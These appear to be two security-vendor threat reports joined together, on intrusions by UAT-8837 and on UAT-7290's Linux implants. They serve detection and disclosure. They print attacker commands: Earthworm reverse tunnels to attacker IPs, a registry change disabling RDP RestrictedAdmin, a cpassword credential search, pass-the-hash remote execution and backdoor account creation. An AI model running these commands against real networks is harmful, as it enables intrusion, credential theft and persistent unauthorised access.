After obtaining initial access — either by successful exploitation of vulnerable servers or by using compromised credentials — UAT-8837 predominantly deploys open-source tools to harvest sensitive information such as credentials, security configurations, and domain and Active Directory (AD) information to create multiple channels of access to their victims. The threat actor uses a combination of tools in their post-compromise hands-on-keyboard operations, including Earthworm, Sharphound, DWAgent, and Certipy. The TTPs, tooling, and remote infrastructure associated with UAT-8837 were also seen in the recent exploitation of CVE-2025-53690, a ViewState Deserialization zero-day vulnerability in SiteCore products, indicating that UAT-8837 may have access to zero-day exploits.

---

Post-compromise actions

UAT-8837 can exploit both n-day and zero-day vulnerabilities to gain access to target environments. Most recently, UAT-8837 exploited a ViewState Deserialization zero-day vulnerability in SiteCore products, CVE-2025-53690, to obtain initial access.

After UAT-8837 gains initial access, they begin conducting preliminary reconnaissance, leveraging the following commands:

ping google[.]com
tasklist /svc
netstat -aon -p TCP
whoami
quser
hostname
net user

The threat actor disables RestrictedAdmin for Remote Desktop Protocol (RDP) to obtain credentials for remoting into other devices:

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

A shell console may subsequently be opened via “cmd.exe” to conduct hands-on keyboard activity on the compromised endpoint. Multiple artifacts are then downloaded to the following directories which were extensively used for staging artifacts:

C:\Users\<user>\Desktop\
C:\windows\temp\
C:\windows\public\music

UAT-8837 tool usage

UAT-8837 may use a variety of tooling throughout the course of an intrusion. This variation in tooling may be because many of these tools are detected and blocked by most security products such as Cisco Secure Endpoint (CSE) which often leads the threat actor to cycle through different variants of the tools to find versions that are not detected.

GoTokenTheft

The GoTokenTheft utility is a tool for stealing access tokens. Written in GoLang and deployed at C:\Users\<user>\Desktop\go.exe, it may be used to steal tokens to run commands with elevated privileges:

eee.ico REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

Earthworm

Earthworm is network tunneling tool that has extensively been used by Chinese-speaking threat actors in intrusions to expose internal endpoints to attacker-owned remote infrastructure. UAT-8837 deploys multiple versions of Earthworm to determine which are not detectable by endpoint protection products. The undetected version is then used to create a reverse tunnel to attacker-controlled servers, as seen in the commands below:

C:\Windows\Temp\v.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433
  
C:\users\public\videos\verr.ico -s rssocks -d 172.188.162.183 -e 443
  
C:\Windows\Temp\eir.ico  -p 8888 -t 172[.]188[.]162[.]183 -f 11112
  
cisos.ico -s rssocks -d 172[.]188[.]162[.]183 –e80
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 443
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 447
  
abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448
  
C:\users\public\music\aa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443
  
C:\Users\public\Music\twd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443

DWAgent

UAT-8837 deploys DWAgent, a remote administration tool, to make it easier to access the compromised endpoint and drop additional malware to the system:

C:\Users\\Downloads\dwagent.exe
 
C:\Users\\AppData\Local\Temp\dwagent20250909101732\runtime\dwagent.exe -S -m installer

SharpHound

Per Talos’ observations, UAT-8837 downloads SharpHound with the intention to collect Active Directory information:

C:\Windows\Temp\SharpHound.exe

Impacket

UAT-8837 makes several attempts to download Impacket-based binaries to use in their operations:

C:\Windows\Temp\wec.ico

When Impacket is detected and blocked, Invoke-WMIExec is downloaded to run commands with elevated privileges:

C:\Windows\Temp\Invoke-WMIExec.ps1

GoExec

In one intrusion, after cycling through a number of tools, UAT-8837 deployed GoExec, a GoLang-based remote execution tool to execute commands on other connected remote endpoints within the victim’s network:

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /all' -o-
 
C:\Windows\Temp\goe.exe wmi proc 10[.]xx[.]xx[.]xx \
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o 1.txt
 
g.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C ipconfig -o-
g.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o-

It is worth noting here that the usage of GoExec was likely an on-the-fly decision by the operator, necessitated by the constant detection and blocking of the threat actors tooling by CSE.

The threat actor also attempted to download and execute SharpWMI in the compromised environment, which was again detected by CSE:

C:\Windows\Temp\s.ico

Rubeus

Rubeus, a C# based toolset for Kerberos abuse may also be deployed:

• C:\Windows\Temp\r.ico
• C:\Windows\Temp\lo.txt

Certipy

UAT-8837 also deploys Certipy, a tool for AD discovery and abuse, to:

C:\Windows\Temp\Certipy.exe

Hands-on-keyboard activity

UAT-8837 may run a series of commands during the intrusion to obtain sensitive information, such as credentials from victim organizations:

findstr /S /l cpassword [\\]\policies\*.xml

 The system’s security configuration is also exported using secedit:

secedit /export /cfg C:\windows\temp\pol.txt

 Windows Local security policies extracted via secedit include password policies, user rights and audit settings. This information may be valuable to adversaries who seek to evaluate an endpoint's security posture including network security settings.

In one victim organization, UAT-8837 exfiltrated DLL-based shared libraries related to the victim’s products, raising the possibility that these libraries may be trojanized in the future. This creates opportunities for supply chain compromises and reverse engineering to find vulnerabilities in those products.

Domain reconnaissance

The net commands typically used to query domain groups and users are:

net group domain admins /domain

net localgroup administrators /domain

net group <name> /domain
 
net user <user> <password> /domain

net user <user> /domain

net accounts /domain

net user <user> /domain
 
nltest /DCLIST:<domain>

nslookup <subdomina>.<domain>

 The setspn command is used to list and query Service Principal Names (SPN) data from Active Directory:

setspn -L 

setspn -Q */*

Active Directory reconnaissance

UAT-8837 deploys a combination of tools to perform AD reconnaissance in the compromised environment. These tools include SharpHound and Certipy. The threat actor also uses the Windows-native tool “setspn” to query for AD data. However, UAT-8837 also brings their own living-off-the-land (LOTL) tooling. In one intrusion, the actor deployed dsget and dsquery to query for specific properties in the AD:

dsquery.exe user -limit 0 
  
dsquery.exe user -name <name>
  
dsget user -samid -display -email -upn
  
dsget.exe user -samid -display -email -upn
  
dsquery.exe user -samid <id> 
  
dsget.exe user -display -email -upn
  
dsquery.exe user -name admin
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -samid -display -email -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –memberof
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –disabled
  
dsquery * DC=prod,DC=<domain>,DC=com -filter (objectClass=user) -attr * -limit 0

Backdoored user accounts

The threat actor created user accounts to open up another channel of access to the compromised environment:

net user <user> <password> /add /domain

In another instance, UAT-8837 added an existing user account to local groups:

net user <user>
  
net localgroup <group> <user> /add

Coverage

The following ClamAV signature detects and blocks this threat:

• Win.Malware.Earthworm

The following Snort Rules (SIDs) detect and block this threat:

• Snort 2 – 61883, 61884, 63727, 63728
• Snort 3 – 300585, 63727, 63728

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa – GoTokenTheft
451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm
B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b – Earthworm
Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 – Earthworm
4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm
 
891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft
5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 – SharpHound
6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 – Impacket
887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 – GoExec
4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec
1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 – SharpWMI
51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 – Rubeus
2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 – Rubeus
E27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d – Certipy
 
B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb
42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3
6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d
4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295
BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8
1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700
d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c
194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794
74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3
Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31
8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a
5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd
8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c
De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7
4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98
 
74[.]176[.]166[.]174
20[.]200[.]129[.]75
172[.]188[.]162[.]183
4[.]144[.]1[.]47
103[.]235[.]46[.]102

• Cisco Talos is disclosing a sophisticated threat actor we track as UAT-7290, who has been active since at least 2022.
• UAT-7290 is tasked with gaining initial access as well as conducting espionage focused intrusions against critical infrastructure entities in South Asia.
• UAT-7290's arsenal includes a malware family consisting of implants we call RushDrop, DriveSwitch, and SilentRaid.
• Our findings indicate that UAT-7290 conducts extensive technical reconnaissance of target organizations before carrying out intrusions.

---

Talos assesses with high confidence that UAT-7290 is a sophisticated threat actor falling under the China-nexus of Advanced Persistent Threat actors (APTs). UAT-7290 primarily targets telecommunications providers in South Asia. However, in recent months we have also seen UAT-7290 expand their targeting into Southeastern Europe.

In addition to conducting espionage focused attacks where UAT-7290 burrows deep inside a victim enterprise’s network infrastructure, their tactics, techniques and procedures (TTPs) and tooling suggests that this actor also establishes Operational Relay Box (ORBs) nodes. The ORB infrastructure may then be used by other China-nexus actors in their malicious operations, signifying UAT-7290's dual role as an espionage motivated threat actor as well as an initial access group.

Active since at least 2022, UAT-7290 has an expansive arsenal of tooling, including open-source malware, custom developed malware, and payloads for 1-day vulnerabilities in popular edge networking products. UAT-7290 primarily leverages a Linux based malware suite but may also utilize Windows based bespoke implants such as RedLeaves or Shadowpad commonly linked to China-nexus threat actors.

Our findings suggest that the threat actor conducts extensive reconnaissance of target organizations before carrying out intrusions. UAT-7290 leverages one-day exploits and target-specific SSH brute force to compromise public facing edge devices to gain initial access and escalate privileges on compromised systems. The actor appears to rely on publicly available proof-of-concept exploit code as opposed to developing their own.

UAT-7290 shares overlapping TTPs with known China-nexus adversaries, including the exploitation of high-profile vulnerabilities in networking devices, use of open-source web shells for persistence, leveraging UDP listeners, and using compromised infrastructure to facilitate operations.

Specifically, we have observed technical indicators that overlap with RedLeaves, a malware family attributed to APT10 (a.k.a. MenuPass, POTASSIUM and Purple Typhoon), as well as infrastructure associated with ShadowPad, a malware family used by a variety of China-nexus adversaries.

Additionally, UAT-7290 shares a significant amount of overlap in victimology, infrastructure, and tooling with a group publicly reported by Recorded Future as Red Foxtrot. In a 2021 report, Recorded Future linked Red Foxtrot to Chinese People’s Liberation Army (PLA) Unit 69010.

UAT-7290's malware arsenal for edge devices

Talos currently tracks the Linux-based malware families associated with UAT-7290 in this intrusion as:

• RushDrop – The dropper that kickstarts the infection chain. RushDrop is also known as ChronosRAT.
• DriveSwitch – A peripheral malware used to execute the main implant on the infected system.
• SilentRaid – The main implant in the intrusion meant to establish persistent access to compromised endpoints. It communicates with its command-and-control server (C2) and carries out tasks defined in the malware. SilentRaid is also known as MystRodX.

Another malware implanted on compromised devices by UAT-7290 is Bulbature. Bulbature, first disclosed by Sekoia in late 2024, is an implant that is used to convert compromised devices into ORBs.

RushDrop and DriveSwitch

RushDrop is a malware dropper that consists of three binaries encoded and embedded within it. RushDrop first makes rudimentary checks to ensure it is running on a legitimate system instead of a sandbox.

Then it either checks for the existence of, or creates a folder called “.pkgdb” in the current working directory of the dropper. RushDrop then decodes and drops three binaries to the “.pkgdb” folder:

• “daytime” - A malware family that simply executes a file called “chargen” from the current working directory. This executor is being tracked as DriveSwitch.
• “chargen” - The central implant of the infection chain, tracked as SilentRaid. SilentRaid communicates with its C2 server, usually in the form of a domain and can carry out action as instructed by the C2.
• “busybox” - Busybox is a legitimate Linux utility that can be used to execute arbitrary commands on the system. 

 DriveSwitch simply executes the SilentRaid malware on the system.

SilentRaid: The multifunctional malware

SilentRaid is a malware written in C++ and consists of multiple functionalities, written in the form of “plugins” embedded in the malware. On execution, it does certain rudimentary anti-VM and analysis checks to ensure it isn’t running in a sandbox. Then the malware simply initializes its “plugins” and contacts the C2 server for instructions to carry out malicious tasks on the infected endpoint. The plugins are built in functionalities, but modular enough to enable the threat actor to stitch together a combination of them during compilation.

Plugin: my_socks_mgr

This plugin handles communication to C2 server. It obtains the C2 IP by resolving a domain using “8[.]8[.]8[.]8” and passes commands received from the C2 to the appropriate plugin.

Plugin:my_rsh

This plugin opens a remote shell by executing “sh” either via either “busybox” or “/bin/sh”. This remote shell is then used to run arbitrary commands on the infected system.

Plugin:port_fwd_mgr

This plugin sets up port forwarding between ports specified — a local port and a port on a remote server. It can also set up port forwarding across multiple ports.

Plugin:my_file_mgr

This is the file manager of the backdoor. It allows the SilentRaid to:

• Read contents of “/etc/passwd”
• Execute a specified file on the system
• Archive directories specified by the C2 using “tar -cvf” - executed via busybox
• Check if a file is accessible
• Remove a file or directory using the “rm” command - via busybox
• Read/write a specified file

SilentRaid can also parse thru x509 certificates and collect attribute information such as:

• id-at-dnQualifier | Distinguished Name qualifier
• id-at-pseudonym | Pseudonym
• id-domainComponent | Domain component
• id-at-uniqueIdentifier | Unique Identifier

Bulbature

The Bulbature malware discovered consisted of the same string encoding scheme as the other UAT-7290's malware illustrated earlier. Usually UPX compressed, Bulbature can bind to and listen to either a random port of its choosing or one specified via command line via the “-d <port_number>” switch.

Bulbature obtains the local network interface’s name by executing the command:

cat /proc/net/route | awk '{print $1,$2}' | awk '/00000000/ {print $1}'

It also obtains basic system information and the current user using the command:

echo $(whoami) $(uname -nrm)

The malware typically records its C2 address in a config file in the /tmp directory. The file will have the same name as the malware binary with the “.cfg” extension appended to it. The C2 address may be an encoded string.

Bulbature can obtain additional or new C2 addresses from the current C2 and can switch over communications with them instead. The malware can open up a reverse shell with its C2 to execute arbitrary commands on the infected system.

A recent variant of Bulbature contained an embedded self-signed certificate that it used for communicating with the C2. This certificate matches the one from the sample disclosed by Sekoia as well:

509 Certificate:
Version: 3
Serial Number: 81bab2934ee32534
Signature Algorithm:
    Algorithm ObjectId: 1.2.840.113549.1.1.11 sha256RSA
    Algorithm Parameters:
    05 00
Issuer:
    O=Internet Widgits Pty Ltd
    S=Some-State
    C=AU
  Name Hash(sha1): d398f76c7ba0bbf79b1cac0620cdf4b42e505195
  Name Hash(md5): 4a963519b4950845a8d76668d4d7dd29
 
NotBefore: 8/8/2019 3:33 AM
NotAfter: 12/24/2046 3:33 AM
 
Subject:
    O=Internet Widgits Pty Ltd
    S=Some-State
    C=AU
  Name Hash(sha1): d398f76c7ba0bbf79b1cac0620cdf4b42e505195
  Name Hash(md5): 4a963519b4950845a8d76668d4d7dd29
 
Cert Hash(sha256): 918fb8af4998393f5195bafaead7c9ba28d8f9fb0853d5c2d75f10e35be8015a

Censys data shows that this certificate, with the exact Serial number, is present on at least 141 hosts, all either located in China or Hong Kong. On Virus Total, many of the IPs identified hosting this certificate are associated with other malware typically associated with China-nexus of threat actors such as SuperShell, GobRAT, Cobalt Strike, etc.

Coverage

The following ClamAV signatures detect and block this threat:

• Unix.Dropper.Agent
• Unix.Malware.Agent
• Unix.Packed.Agent

The following Snort Rule (SIDs) detects and blocks this threat: 65124

IOCs

723c1e59accbb781856a8407f1e64f36038e324d3f0bdb606d35c359ade08200

59568d0e2da98bad46f0e3165bcf8adadbf724d617ccebcfdaeafbb097b81596

961ac6942c41c959be471bd7eea6e708f3222a8a607b51d59063d5c58c54a38d